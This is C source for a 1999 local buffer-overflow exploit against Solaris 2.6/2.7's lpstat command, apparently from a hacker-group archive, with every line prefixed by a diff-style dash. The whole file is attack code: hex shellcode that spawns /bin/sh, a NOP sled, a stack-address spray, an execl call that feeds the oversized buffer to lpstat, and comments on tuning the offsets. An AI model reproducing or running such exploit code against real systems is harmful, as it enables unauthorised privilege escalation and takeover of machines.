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- /*
- * lpstat sploit for solaris 2.6/2.7
- * by plasmoid/deep/thc <plasmoid@pimmel.com> (c) 1999
- * supported by insected and wilkins
- *
- * THC - The Hacker's Choice
- * http://thc.inferno.tusculum.edu
- */
-
- #include <unistd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- char shell[] =
- "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
- "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
- "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
- "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
- "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
- "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
-
- const int buffersize=1100;
- const char x86_nop=0x90;
- long nop,esp;
- long offset=0;
- char buffer[2000];
-
- long get_esp()
- {
- __asm__("movl %esp,%eax");
- }
-
- int main (int argc, char *argv[])
- {
- int i;
-
- /* you shouldn't edit the offset, we run with
- 800 nops in 1100 bytes buffer, one of those
- nops should be hit */
-
- if (argc > 1) offset = strtol(argv[1], NULL, 0);
-
- /* if you don't succeed, modify the nop count,
- the standart value of 801 bybtes is quite
- strange enuff */
-
- if (argc > 2) nop = strtoul(argv[2], NULL, 0);
- else
- nop = 801;
-
- esp = get_esp();
- memset(buffer, x86_nop, buffersize);
- memcpy(buffer+nop, shell, strlen(shell));
-
- for (i = nop+strlen(shell); i < buffersize-4; i += 4)
- *((int *) &buffer[i]) = esp+offset;
-
- execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL);
-
- printf("exec failed!\n");
- return 0;
- }
- /* www.hack.co.za [2000]*/